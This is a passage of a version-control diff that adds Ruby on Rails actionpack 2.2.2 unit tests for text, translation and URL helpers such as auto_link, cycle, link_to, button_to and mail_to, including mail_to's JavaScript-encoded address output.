+    assert_equal %(<p>#{link10_result} Link</p>), auto_link("<p>#{link10_raw} Link</p>")
+    assert_equal email2_result, auto_link(email2_raw)
+    assert_equal '', auto_link(nil)
+    assert_equal '', auto_link('')
+    assert_equal "#{link_result} #{link_result} #{link_result}", auto_link("#{link_raw} #{link_raw} #{link_raw}")
+    assert_equal '<a href="http://www.rubyonrails.com">Ruby On Rails</a>', auto_link('<a href="http://www.rubyonrails.com">Ruby On Rails</a>')
+  end
+
+  def test_auto_link_at_eol
+    url1 = "http://api.rubyonrails.com/Foo.html"
+    url2 = "http://www.ruby-doc.org/core/Bar.html"
+
+    assert_equal %(<p><a href="#{url1}">#{url1}</a><br /><a href="#{url2}">#{url2}</a><br /></p>), auto_link("<p>#{url1}<br />#{url2}<br /></p>")
+  end
+
+  def test_auto_link_with_block
+    url = "http://api.rubyonrails.com/Foo.html"
+    email = "fantabulous at shiznadel.ic"
+
+    assert_equal %(<p><a href="#{url}">#{url[0...7]}...</a><br /><a href="mailto:#{email}">#{email[0...7]}...</a><br /></p>), auto_link("<p>#{url}<br />#{email}<br /></p>") { |url| truncate(url, :length => 10) }
+  end
+
+  def test_auto_link_with_options_hash
+    assert_equal 'Welcome to my new blog at <a href="http://www.myblog.com/" class="menu" target="_blank">http://www.myblog.com/</a>. Please e-mail me at <a href="mailto:me at email.com">me at email.com</a>.',
+      auto_link("Welcome to my new blog at http://www.myblog.com/. Please e-mail me at me at email.com.",
+                :link => :all, :html => { :class => "menu", :target => "_blank" })
+  end
+
+  def test_cycle_class
+    value = Cycle.new("one", 2, "3")
+    assert_equal("one", value.to_s)
+    assert_equal("2", value.to_s)
+    assert_equal("3", value.to_s)
+    assert_equal("one", value.to_s)
+    value.reset
+    assert_equal("one", value.to_s)
+    assert_equal("2", value.to_s)
+    assert_equal("3", value.to_s)
+  end
+
+  def test_cycle_class_with_no_arguments
+    assert_raise(ArgumentError) { value = Cycle.new() }
+  end
+
+  def test_cycle
+    assert_equal("one", cycle("one", 2, "3"))
+    assert_equal("2", cycle("one", 2, "3"))
+    assert_equal("3", cycle("one", 2, "3"))
+    assert_equal("one", cycle("one", 2, "3"))
+    assert_equal("2", cycle("one", 2, "3"))
+    assert_equal("3", cycle("one", 2, "3"))
+  end
+
+  def test_cycle_with_no_arguments
+    assert_raise(ArgumentError) { value = cycle() }
+  end
+
+  def test_cycle_resets_with_new_values
+    assert_equal("even", cycle("even", "odd"))
+    assert_equal("odd", cycle("even", "odd"))
+    assert_equal("even", cycle("even", "odd"))
+    assert_equal("1", cycle(1, 2, 3))
+    assert_equal("2", cycle(1, 2, 3))
+    assert_equal("3", cycle(1, 2, 3))
+    assert_equal("1", cycle(1, 2, 3))
+  end
+
+  def test_named_cycles
+    assert_equal("1", cycle(1, 2, 3, :name => "numbers"))
+    assert_equal("red", cycle("red", "blue", :name => "colors"))
+    assert_equal("2", cycle(1, 2, 3, :name => "numbers"))
+    assert_equal("blue", cycle("red", "blue", :name => "colors"))
+    assert_equal("3", cycle(1, 2, 3, :name => "numbers"))
+    assert_equal("red", cycle("red", "blue", :name => "colors"))
+  end
+
+  def test_current_cycle_with_default_name
+    cycle("even","odd")
+    assert_equal "even", current_cycle
+    cycle("even","odd")
+    assert_equal "odd", current_cycle
+    cycle("even","odd")
+    assert_equal "even", current_cycle
+  end
+
+  def test_current_cycle_with_named_cycles
+    cycle("red", "blue", :name => "colors")
+    assert_equal "red", current_cycle("colors")
+    cycle("red", "blue", :name => "colors")
+    assert_equal "blue", current_cycle("colors")
+    cycle("red", "blue", :name => "colors")
+    assert_equal "red", current_cycle("colors")
+  end
+
+  def test_current_cycle_safe_call
+    assert_nothing_raised { current_cycle }
+    assert_nothing_raised { current_cycle("colors") }
+  end
+
+  def test_current_cycle_with_more_than_two_names
+    cycle(1,2,3)
+    assert_equal "1", current_cycle
+    cycle(1,2,3)
+    assert_equal "2", current_cycle
+    cycle(1,2,3)
+    assert_equal "3", current_cycle
+    cycle(1,2,3)
+    assert_equal "1", current_cycle
+  end
+
+  def test_default_named_cycle
+    assert_equal("1", cycle(1, 2, 3))
+    assert_equal("2", cycle(1, 2, 3, :name => "default"))
+    assert_equal("3", cycle(1, 2, 3))
+  end
+
+  def test_reset_cycle
+    assert_equal("1", cycle(1, 2, 3))
+    assert_equal("2", cycle(1, 2, 3))
+    reset_cycle
+    assert_equal("1", cycle(1, 2, 3))
+  end
+
+  def test_reset_unknown_cycle
+    reset_cycle("colors")
+  end
+
+  def test_recet_named_cycle
+    assert_equal("1", cycle(1, 2, 3, :name => "numbers"))
+    assert_equal("red", cycle("red", "blue", :name => "colors"))
+    reset_cycle("numbers")
+    assert_equal("1", cycle(1, 2, 3, :name => "numbers"))
+    assert_equal("blue", cycle("red", "blue", :name => "colors"))
+    assert_equal("2", cycle(1, 2, 3, :name => "numbers"))
+    assert_equal("red", cycle("red", "blue", :name => "colors"))
+  end
+
+  def test_cycle_no_instance_variable_clashes
+    @cycles = %w{Specialized Fuji Giant}
+    assert_equal("red", cycle("red", "blue"))
+    assert_equal("blue", cycle("red", "blue"))
+    assert_equal("red", cycle("red", "blue"))
+    assert_equal(%w{Specialized Fuji Giant}, @cycles)
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/translation_helper_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/translation_helper_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/translation_helper_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,28 @@
+require 'abstract_unit'
+
+class TranslationHelperTest < Test::Unit::TestCase
+  include ActionView::Helpers::TagHelper
+  include ActionView::Helpers::TranslationHelper
+  
+  attr_reader :request
+  uses_mocha 'translation_helper_test' do
+    def setup
+    end
+    
+    def test_delegates_to_i18n_setting_the_raise_option
+      I18n.expects(:translate).with(:foo, :locale => 'en', :raise => true)
+      translate :foo, :locale => 'en'
+    end
+    
+    def test_returns_missing_translation_message_wrapped_into_span
+      expected = '<span class="translation_missing">en, foo</span>'
+      assert_equal expected, translate(:foo)
+    end
+  
+    def test_delegates_localize_to_i18n
+      @time = Time.utc(2008, 7, 8, 12, 18, 38)
+      I18n.expects(:localize).with(@time)
+      localize @time
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/url_helper_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/url_helper_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/url_helper_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,581 @@
+# encoding: utf-8
+require 'abstract_unit'
+
+RequestMock = Struct.new("Request", :request_uri, :protocol, :host_with_port, :env)
+
+class UrlHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::UrlHelper
+
+  def setup
+    @controller = Class.new do
+      attr_accessor :url, :request
+      def url_for(options)
+        url
+      end
+    end
+    @controller = @controller.new
+    @controller.url = "http://www.example.com"
+  end
+
+  def test_url_for_escapes_urls
+    @controller.url = "http://www.example.com?a=b&c=d"
+    assert_equal "http://www.example.com?a=b&amp;c=d", url_for(:a => 'b', :c => 'd')
+    assert_equal "http://www.example.com?a=b&amp;c=d", url_for(:a => 'b', :c => 'd', :escape => true)
+    assert_equal "http://www.example.com?a=b&c=d", url_for(:a => 'b', :c => 'd', :escape => false)
+  end
+
+  def test_url_for_escapes_url_once
+    @controller.url = "http://www.example.com?a=b&amp;c=d"
+    assert_equal "http://www.example.com?a=b&amp;c=d", url_for("http://www.example.com?a=b&amp;c=d")
+  end
+
+  def test_url_for_with_back
+    @controller.request = RequestMock.new("http://www.example.com/weblog/show", nil, nil, {'HTTP_REFERER' => 'http://www.example.com/referer'})
+    assert_equal 'http://www.example.com/referer', url_for(:back)
+  end
+
+  def test_url_for_with_back_and_no_referer
+    @controller.request = RequestMock.new("http://www.example.com/weblog/show", nil, nil, {})
+    assert_equal 'javascript:history.back()', url_for(:back)
+  end
+
+  # todo: missing test cases
+  def test_button_to_with_straight_url
+    assert_dom_equal "<form method=\"post\" action=\"http://www.example.com\" class=\"button-to\"><div><input type=\"submit\" value=\"Hello\" /></div></form>", button_to("Hello", "http://www.example.com")
+  end
+
+  def test_button_to_with_query
+    assert_dom_equal "<form method=\"post\" action=\"http://www.example.com/q1=v1&amp;q2=v2\" class=\"button-to\"><div><input type=\"submit\" value=\"Hello\" /></div></form>", button_to("Hello", "http://www.example.com/q1=v1&q2=v2")
+  end
+
+  def test_button_to_with_escaped_query
+    assert_dom_equal "<form method=\"post\" action=\"http://www.example.com/q1=v1&amp;q2=v2\" class=\"button-to\"><div><input type=\"submit\" value=\"Hello\" /></div></form>", button_to("Hello", "http://www.example.com/q1=v1&amp;q2=v2")
+  end
+
+  def test_button_to_with_query_and_no_name
+    assert_dom_equal "<form method=\"post\" action=\"http://www.example.com?q1=v1&amp;q2=v2\" class=\"button-to\"><div><input type=\"submit\" value=\"http://www.example.com?q1=v1&amp;q2=v2\" /></div></form>", button_to(nil, "http://www.example.com?q1=v1&q2=v2")
+  end
+
+  def test_button_to_with_javascript_confirm
+    assert_dom_equal(
+      "<form method=\"post\" action=\"http://www.example.com\" class=\"button-to\"><div><input onclick=\"return confirm('Are you sure?');\" type=\"submit\" value=\"Hello\" /></div></form>",
+      button_to("Hello", "http://www.example.com", :confirm => "Are you sure?")
+    )
+  end
+
+  def test_button_to_enabled_disabled
+    assert_dom_equal(
+      "<form method=\"post\" action=\"http://www.example.com\" class=\"button-to\"><div><input type=\"submit\" value=\"Hello\" /></div></form>",
+      button_to("Hello", "http://www.example.com", :disabled => false)
+    )
+    assert_dom_equal(
+      "<form method=\"post\" action=\"http://www.example.com\" class=\"button-to\"><div><input disabled=\"disabled\" type=\"submit\" value=\"Hello\" /></div></form>",
+      button_to("Hello", "http://www.example.com", :disabled => true)
+    )
+  end
+
+  def test_button_to_with_method_delete
+    assert_dom_equal(
+      "<form method=\"post\" action=\"http://www.example.com\" class=\"button-to\"><div><input type=\"hidden\" name=\"_method\" value=\"delete\" /><input type=\"submit\" value=\"Hello\" /></div></form>",
+      button_to("Hello", "http://www.example.com", :method => :delete)
+    )
+  end
+
+  def test_button_to_with_method_get
+    assert_dom_equal(
+      "<form method=\"get\" action=\"http://www.example.com\" class=\"button-to\"><div><input type=\"submit\" value=\"Hello\" /></div></form>",
+      button_to("Hello", "http://www.example.com", :method => :get)
+    )
+  end
+
+  def test_link_tag_with_straight_url
+    assert_dom_equal "<a href=\"http://www.example.com\">Hello</a>", link_to("Hello", "http://www.example.com")
+  end
+
+  def test_link_tag_without_host_option
+    ActionController::Base.class_eval { attr_accessor :url }
+    url = {:controller => 'weblog', :action => 'show'}
+    @controller = ActionController::Base.new
+    @controller.request = ActionController::TestRequest.new
+    @controller.url = ActionController::UrlRewriter.new(@controller.request, url)
+    assert_dom_equal(%q{<a href="/weblog/show">Test Link</a>}, link_to('Test Link', url))
+  end
+
+  def test_link_tag_with_host_option
+    ActionController::Base.class_eval { attr_accessor :url }
+    url = {:controller => 'weblog', :action => 'show', :host => 'www.example.com'}
+    @controller = ActionController::Base.new
+    @controller.request = ActionController::TestRequest.new
+    @controller.url = ActionController::UrlRewriter.new(@controller.request, url)
+    assert_dom_equal(%q{<a href="http://www.example.com/weblog/show">Test Link</a>}, link_to('Test Link', url))
+  end
+
+  def test_link_tag_with_query
+    assert_dom_equal "<a href=\"http://www.example.com?q1=v1&amp;q2=v2\">Hello</a>", link_to("Hello", "http://www.example.com?q1=v1&amp;q2=v2")
+  end
+
+  def test_link_tag_with_query_and_no_name
+    assert_dom_equal "<a href=\"http://www.example.com?q1=v1&amp;q2=v2\">http://www.example.com?q1=v1&amp;q2=v2</a>", link_to(nil, "http://www.example.com?q1=v1&amp;q2=v2")
+  end
+
+  def test_link_tag_with_back
+    @controller.request = RequestMock.new("http://www.example.com/weblog/show", nil, nil, {'HTTP_REFERER' => 'http://www.example.com/referer'})
+    assert_dom_equal "<a href=\"http://www.example.com/referer\">go back</a>", link_to('go back', :back)
+  end
+
+  def test_link_tag_with_back_and_no_referer
+    @controller.request = RequestMock.new("http://www.example.com/weblog/show", nil, nil, {})
+    assert_dom_equal "<a href=\"javascript:history.back()\">go back</a>", link_to('go back', :back)
+  end
+
+  def test_link_tag_with_back
+    @controller.request = RequestMock.new("http://www.example.com/weblog/show", nil, nil, {'HTTP_REFERER' => 'http://www.example.com/referer'})
+    assert_dom_equal "<a href=\"http://www.example.com/referer\">go back</a>", link_to('go back', :back)
+  end
+
+  def test_link_tag_with_back_and_no_referer
+    @controller.request = RequestMock.new("http://www.example.com/weblog/show", nil, nil, {})
+    assert_dom_equal "<a href=\"javascript:history.back()\">go back</a>", link_to('go back', :back)
+  end
+
+  def test_link_tag_with_img
+    assert_dom_equal "<a href=\"http://www.example.com\"><img src='/favicon.jpg' /></a>", link_to("<img src='/favicon.jpg' />", "http://www.example.com")
+  end
+
+  def test_link_with_nil_html_options
+    assert_dom_equal "<a href=\"http://www.example.com\">Hello</a>", link_to("Hello", {:action => 'myaction'}, nil)
+  end
+
+  def test_link_tag_with_custom_onclick
+    assert_dom_equal "<a href=\"http://www.example.com\" onclick=\"alert('yay!')\">Hello</a>", link_to("Hello", "http://www.example.com", :onclick => "alert('yay!')")
+  end
+
+  def test_link_tag_with_javascript_confirm
+    assert_dom_equal(
+      "<a href=\"http://www.example.com\" onclick=\"return confirm('Are you sure?');\">Hello</a>",
+      link_to("Hello", "http://www.example.com", :confirm => "Are you sure?")
+    )
+    assert_dom_equal(
+      "<a href=\"http://www.example.com\" onclick=\"return confirm('You can\\'t possibly be sure, can you?');\">Hello</a>",
+      link_to("Hello", "http://www.example.com", :confirm => "You can't possibly be sure, can you?")
+    )
+    assert_dom_equal(
+      "<a href=\"http://www.example.com\" onclick=\"return confirm('You can\\'t possibly be sure,\\n can you?');\">Hello</a>",
+      link_to("Hello", "http://www.example.com", :confirm => "You can't possibly be sure,\n can you?")
+    )
+  end
+
+  def test_link_tag_with_popup
+    assert_dom_equal(
+      "<a href=\"http://www.example.com\" onclick=\"window.open(this.href);return false;\">Hello</a>",
+      link_to("Hello", "http://www.example.com", :popup => true)
+    )
+    assert_dom_equal(
+      "<a href=\"http://www.example.com\" onclick=\"window.open(this.href);return false;\">Hello</a>",
+      link_to("Hello", "http://www.example.com", :popup => 'true')
+    )
+    assert_dom_equal(
+      "<a href=\"http://www.example.com\" onclick=\"window.open(this.href,'window_name','width=300,height=300');return false;\">Hello</a>",
+      link_to("Hello", "http://www.example.com", :popup => ['window_name', 'width=300,height=300'])
+    )
+  end
+
+  def test_link_tag_with_popup_and_javascript_confirm
+    assert_dom_equal(
+      "<a href=\"http://www.example.com\" onclick=\"if (confirm('Fo\\' sho\\'?')) { window.open(this.href); };return false;\">Hello</a>",
+      link_to("Hello", "http://www.example.com", { :popup => true, :confirm => "Fo' sho'?" })
+    )
+    assert_dom_equal(
+      "<a href=\"http://www.example.com\" onclick=\"if (confirm('Are you serious?')) { window.open(this.href,'window_name','width=300,height=300'); };return false;\">Hello</a>",
+      link_to("Hello", "http://www.example.com", { :popup => ['window_name', 'width=300,height=300'], :confirm => "Are you serious?" })
+    )
+  end
+
+  def test_link_tag_using_post_javascript
+    assert_dom_equal(
+      "<a href='http://www.example.com' onclick=\"var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = this.href;f.submit();return false;\">Hello</a>",
+      link_to("Hello", "http://www.example.com", :method => :post)
+    )
+  end
+
+  def test_link_tag_using_delete_javascript
+    assert_dom_equal(
+      "<a href='http://www.example.com' onclick=\"var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = this.href;var m = document.createElement('input'); m.setAttribute('type', 'hidden'); m.setAttribute('name', '_method'); m.setAttribute('value', 'delete'); f.appendChild(m);f.submit();return false;\">Destroy</a>",
+      link_to("Destroy", "http://www.example.com", :method => :delete)
+    )
+  end
+
+  def test_link_tag_using_delete_javascript_and_href
+    assert_dom_equal(
+      "<a href='\#' onclick=\"var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com';var m = document.createElement('input'); m.setAttribute('type', 'hidden'); m.setAttribute('name', '_method'); m.setAttribute('value', 'delete'); f.appendChild(m);f.submit();return false;\">Destroy</a>",
+      link_to("Destroy", "http://www.example.com", :method => :delete, :href => '#')
+    )
+  end
+
+  def test_link_tag_using_post_javascript_and_confirm
+    assert_dom_equal(
+      "<a href=\"http://www.example.com\" onclick=\"if (confirm('Are you serious?')) { var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = this.href;f.submit(); };return false;\">Hello</a>",
+      link_to("Hello", "http://www.example.com", :method => :post, :confirm => "Are you serious?")
+    )
+  end
+
+  def test_link_tag_using_post_javascript_and_popup
+    assert_raises(ActionView::ActionViewError) { link_to("Hello", "http://www.example.com", :popup => true, :method => :post, :confirm => "Are you serious?") }
+  end
+
+  def test_link_tag_using_block_in_erb
+    __in_erb_template = ''
+
+    link_to("http://example.com") { concat("Example site") }
+
+    assert_equal '<a href="http://example.com">Example site</a>', output_buffer
+  end
+
+  def test_link_to_unless
+    assert_equal "Showing", link_to_unless(true, "Showing", :action => "show", :controller => "weblog")
+    assert_dom_equal "<a href=\"http://www.example.com\">Listing</a>", link_to_unless(false, "Listing", :action => "list", :controller => "weblog")
+    assert_equal "Showing", link_to_unless(true, "Showing", :action => "show", :controller => "weblog", :id => 1)
+    assert_equal "<strong>Showing</strong>", link_to_unless(true, "Showing", :action => "show", :controller => "weblog", :id => 1) { |name, options, html_options|
+      "<strong>#{name}</strong>"
+    }
+    assert_equal "<strong>Showing</strong>", link_to_unless(true, "Showing", :action => "show", :controller => "weblog", :id => 1) { |name|
+      "<strong>#{name}</strong>"
+    }
+    assert_equal "test", link_to_unless(true, "Showing", :action => "show", :controller => "weblog", :id => 1) {
+      "test"
+    }
+  end
+
+  def test_link_to_if
+    assert_equal "Showing", link_to_if(false, "Showing", :action => "show", :controller => "weblog")
+    assert_dom_equal "<a href=\"http://www.example.com\">Listing</a>", link_to_if(true, "Listing", :action => "list", :controller => "weblog")
+    assert_equal "Showing", link_to_if(false, "Showing", :action => "show", :controller => "weblog", :id => 1)
+  end
+
+  def test_link_unless_current
+    @controller.request = RequestMock.new("http://www.example.com/weblog/show")
+    @controller.url = "http://www.example.com/weblog/show"
+    assert_equal "Showing", link_to_unless_current("Showing", { :action => "show", :controller => "weblog" })
+    assert_equal "Showing", link_to_unless_current("Showing", "http://www.example.com/weblog/show")
+
+    @controller.request = RequestMock.new("http://www.example.com/weblog/show?order=desc")
+    @controller.url = "http://www.example.com/weblog/show"
+    assert_equal "Showing", link_to_unless_current("Showing", { :action => "show", :controller => "weblog" })
+    assert_equal "Showing", link_to_unless_current("Showing", "http://www.example.com/weblog/show")
+
+    @controller.request = RequestMock.new("http://www.example.com/weblog/show?order=desc")
+    @controller.url = "http://www.example.com/weblog/show?order=asc"
+    assert_equal "<a href=\"http://www.example.com/weblog/show?order=asc\">Showing</a>", link_to_unless_current("Showing", { :action => "show", :controller => "weblog" })
+    assert_equal "<a href=\"http://www.example.com/weblog/show?order=asc\">Showing</a>", link_to_unless_current("Showing", "http://www.example.com/weblog/show?order=asc")
+
+    @controller.request = RequestMock.new("http://www.example.com/weblog/show")
+    @controller.url = "http://www.example.com/weblog/list"
+    assert_equal "<a href=\"http://www.example.com/weblog/list\">Listing</a>",
+      link_to_unless_current("Listing", :action => "list", :controller => "weblog")
+    assert_equal "<a href=\"http://www.example.com/weblog/list\">Listing</a>",
+      link_to_unless_current("Listing", "http://www.example.com/weblog/list")
+  end
+
+  def test_mail_to
+    assert_dom_equal "<a href=\"mailto:david at loudthinking.com\">david at loudthinking.com</a>", mail_to("david at loudthinking.com")
+    assert_dom_equal "<a href=\"mailto:david at loudthinking.com\">David Heinemeier Hansson</a>", mail_to("david at loudthinking.com", "David Heinemeier Hansson")
+    assert_dom_equal(
+      "<a class=\"admin\" href=\"mailto:david at loudthinking.com\">David Heinemeier Hansson</a>",
+      mail_to("david at loudthinking.com", "David Heinemeier Hansson", "class" => "admin")
+    )
+    assert_equal mail_to("david at loudthinking.com", "David Heinemeier Hansson", "class" => "admin"),
+                 mail_to("david at loudthinking.com", "David Heinemeier Hansson", :class => "admin")
+  end
+
+  def test_mail_to_with_javascript
+    assert_dom_equal "<script type=\"text/javascript\">eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%22%6d%61%69%6c%74%6f%3a%6d%65%40%64%6f%6d%61%69%6e%2e%63%6f%6d%22%3e%4d%79%20%65%6d%61%69%6c%3c%2f%61%3e%27%29%3b'))</script>", mail_to("me at domain.com", "My email", :encode => "javascript")
+  end
+
+  def test_mail_to_with_javascript_unicode
+    assert_dom_equal "<script type=\"text/javascript\">eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%22%6d%61%69%6c%74%6f%3a%75%6e%69%63%6f%64%65%40%65%78%61%6d%70%6c%65%2e%63%6f%6d%22%3e%c3%ba%6e%69%63%6f%64%65%3c%2f%61%3e%27%29%3b'))</script>", mail_to("unicode at example.com", "únicode", :encode => "javascript")
+  end
+
+  def test_mail_with_options
+    assert_dom_equal(
+      %(<a href="mailto:me at example.com?cc=ccaddress%40example.com&amp;bcc=bccaddress%40example.com&amp;body=This%20is%20the%20body%20of%20the%20message.&amp;subject=This%20is%20an%20example%20email">My email</a>),
+      mail_to("me at example.com", "My email", :cc => "ccaddress at example.com", :bcc => "bccaddress at example.com", :subject => "This is an example email", :body => "This is the body of the message.")
+    )
+  end
+
+  def test_mail_to_with_img
+    assert_dom_equal %(<a href="mailto:feedback at example.com"><img src="/feedback.png" /></a>), mail_to('feedback at example.com', '<img src="/feedback.png" />')
+  end
+
+  def test_mail_to_with_hex
+    assert_dom_equal "<a href=\"&#109;&#97;&#105;&#108;&#116;&#111;&#58;%6d%65@%64%6f%6d%61%69%6e.%63%6f%6d\">My email</a>", mail_to("me at domain.com", "My email", :encode => "hex")
+    assert_dom_equal "<a href=\"&#109;&#97;&#105;&#108;&#116;&#111;&#58;%6d%65@%64%6f%6d%61%69%6e.%63%6f%6d\">&#109;&#101;&#64;&#100;&#111;&#109;&#97;&#105;&#110;&#46;&#99;&#111;&#109;</a>", mail_to("me at domain.com", nil, :encode => "hex")
+  end
+
+  def test_mail_to_with_replace_options
+    assert_dom_equal "<a href=\"mailto:wolfgang at stufenlos.net\">wolfgang(at)stufenlos(dot)net</a>", mail_to("wolfgang at stufenlos.net", nil, :replace_at => "(at)", :replace_dot => "(dot)")
+    assert_dom_equal "<a href=\"&#109;&#97;&#105;&#108;&#116;&#111;&#58;%6d%65@%64%6f%6d%61%69%6e.%63%6f%6d\">&#109;&#101;&#40;&#97;&#116;&#41;&#100;&#111;&#109;&#97;&#105;&#110;&#46;&#99;&#111;&#109;</a>", mail_to("me at domain.com", nil, :encode => "hex", :replace_at => "(at)")
+    assert_dom_equal "<a href=\"&#109;&#97;&#105;&#108;&#116;&#111;&#58;%6d%65@%64%6f%6d%61%69%6e.%63%6f%6d\">My email</a>", mail_to("me at domain.com", "My email", :encode => "hex", :replace_at => "(at)")
+    assert_dom_equal "<a href=\"&#109;&#97;&#105;&#108;&#116;&#111;&#58;%6d%65@%64%6f%6d%61%69%6e.%63%6f%6d\">&#109;&#101;&#40;&#97;&#116;&#41;&#100;&#111;&#109;&#97;&#105;&#110;&#40;&#100;&#111;&#116;&#41;&#99;&#111;&#109;</a>", mail_to("me at domain.com", nil, :encode => "hex", :replace_at => "(at)", :replace_dot => "(dot)")
+    assert_dom_equal "<script type=\"text/javascript\">eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%22%6d%61%69%6c%74%6f%3a%6d%65%40%64%6f%6d%61%69%6e%2e%63%6f%6d%22%3e%4d%79%20%65%6d%61%69%6c%3c%2f%61%3e%27%29%3b'))</script>", mail_to("me at domain.com", "My email", :encode => "javascript", :replace_at => "(at)", :replace_dot => "(dot)")
+    assert_dom_equal "<script type=\"text/javascript\">eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%22%6d%61%69%6c%74%6f%3a%6d%65%40%64%6f%6d%61%69%6e%2e%63%6f%6d%22%3e%6d%65%28%61%74%29%64%6f%6d%61%69%6e%28%64%6f%74%29%63%6f%6d%3c%2f%61%3e%27%29%3b'))</script>", mail_to("me at domain.com", nil, :encode => "javascript", :replace_at => "(at)", :replace_dot => "(dot)")
+  end
+
+  def protect_against_forgery?
+    false
+  end
+end
+
+class UrlHelperWithControllerTest < ActionView::TestCase
+  class UrlHelperController < ActionController::Base
+    def self.controller_path; 'url_helper_with_controller' end
+
+    def show_url_for
+      render :inline => "<%= url_for :controller => 'url_helper_with_controller', :action => 'show_url_for' %>"
+    end
+
+    def show_named_route
+      render :inline => "<%= show_named_route_#{params[:kind]} %>"
+    end
+
+    def nil_url_for
+      render :inline => '<%= url_for(nil) %>'
+    end
+
+    def rescue_action(e) raise e end
+  end
+
+  tests ActionView::Helpers::UrlHelper
+
+  def setup
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+    @controller = UrlHelperController.new
+  end
+
+  def test_url_for_shows_only_path
+    get :show_url_for
+    assert_equal '/url_helper_with_controller/show_url_for', @response.body
+  end
+
+  def test_named_route_url_shows_host_and_path
+    with_url_helper_routing do
+      get :show_named_route, :kind => 'url'
+      assert_equal 'http://test.host/url_helper_with_controller/show_named_route', @response.body
+    end
+  end
+
+  def test_named_route_path_shows_only_path
+    with_url_helper_routing do
+      get :show_named_route, :kind => 'path'
+      assert_equal '/url_helper_with_controller/show_named_route', @response.body
+    end
+  end
+
+  def test_url_for_nil_returns_current_path
+    get :nil_url_for
+    assert_equal '/url_helper_with_controller/nil_url_for', @response.body
+  end
+
+  def test_named_route_should_show_host_and_path_using_controller_default_url_options
+    class << @controller
+      def default_url_options(options = nil)
+        {:host => 'testtwo.host'}
+      end
+    end
+
+    with_url_helper_routing do
+      get :show_named_route, :kind => 'url'
+      assert_equal 'http://testtwo.host/url_helper_with_controller/show_named_route', @response.body
+    end
+  end
+
+  protected
+    def with_url_helper_routing
+      with_routing do |set|
+        set.draw do |map|
+          map.show_named_route 'url_helper_with_controller/show_named_route', :controller => 'url_helper_with_controller', :action => 'show_named_route'
+        end
+        yield
+      end
+    end
+end
+
+class LinkToUnlessCurrentWithControllerTest < ActionView::TestCase
+  class TasksController < ActionController::Base
+    def self.controller_path; 'tasks' end
+
+    def index
+      render_default
+    end
+
+    def show
+      render_default
+    end
+
+    def rescue_action(e) raise e end
+
+    protected
+      def render_default
+        render :inline =>
+          "<%= link_to_unless_current(\"tasks\", tasks_path) %>\n" +
+          "<%= link_to_unless_current(\"tasks\", tasks_url) %>"
+      end
+  end
+
+  tests ActionView::Helpers::UrlHelper
+
+  def setup
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+    @controller = TasksController.new
+  end
+
+  def test_link_to_unless_current_to_current
+    with_restful_routing do
+      get :index
+      assert_equal "tasks\ntasks", @response.body
+    end
+  end
+
+  def test_link_to_unless_current_shows_link
+    with_restful_routing do
+      get :show, :id => 1
+      assert_equal "<a href=\"/tasks\">tasks</a>\n" +
+        "<a href=\"#{@request.protocol}#{@request.host_with_port}/tasks\">tasks</a>",
+        @response.body
+    end
+  end
+
+  protected
+    def with_restful_routing
+      with_routing do |set|
+        set.draw do |map|
+          map.resources :tasks
+        end
+        yield
+      end
+    end
+end
+
+class Workshop
+  attr_accessor :id, :new_record
+
+  def initialize(id, new_record)
+    @id, @new_record = id, new_record
+  end
+
+  def new_record?
+    @new_record
+  end
+
+  def to_s
+    id.to_s
+  end
+end
+
+class Session
+  attr_accessor :id, :workshop_id, :new_record
+
+  def initialize(id, new_record)
+    @id, @new_record = id, new_record
+  end
+
+  def new_record?
+    @new_record
+  end
+
+  def to_s
+    id.to_s
+  end
+end
+
+class PolymorphicControllerTest < ActionView::TestCase
+  class WorkshopsController < ActionController::Base
+    def self.controller_path; 'workshops' end
+
+    def index
+      @workshop = Workshop.new(1, true)
+      render :inline => "<%= url_for(@workshop) %>\n<%= link_to('Workshop', @workshop) %>"
+    end
+
+    def show
+      @workshop = Workshop.new(params[:id], false)
+      render :inline => "<%= url_for(@workshop) %>\n<%= link_to('Workshop', @workshop) %>"
+    end
+
+    def rescue_action(e) raise e end
+  end
+
+  class SessionsController < ActionController::Base
+    def self.controller_path; 'sessions' end
+
+    def index
+      @workshop = Workshop.new(params[:workshop_id], false)
+      @session = Session.new(1, true)
+      render :inline => "<%= url_for([@workshop, @session]) %>\n<%= link_to('Session', [@workshop, @session]) %>"
+    end
+
+    def show
+      @workshop = Workshop.new(params[:workshop_id], false)
+      @session = Session.new(params[:id], false)
+      render :inline => "<%= url_for([@workshop, @session]) %>\n<%= link_to('Session', [@workshop, @session]) %>"
+    end
+
+    def rescue_action(e) raise e end
+  end
+
+  tests ActionView::Helpers::UrlHelper
+
+  def setup
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+  end
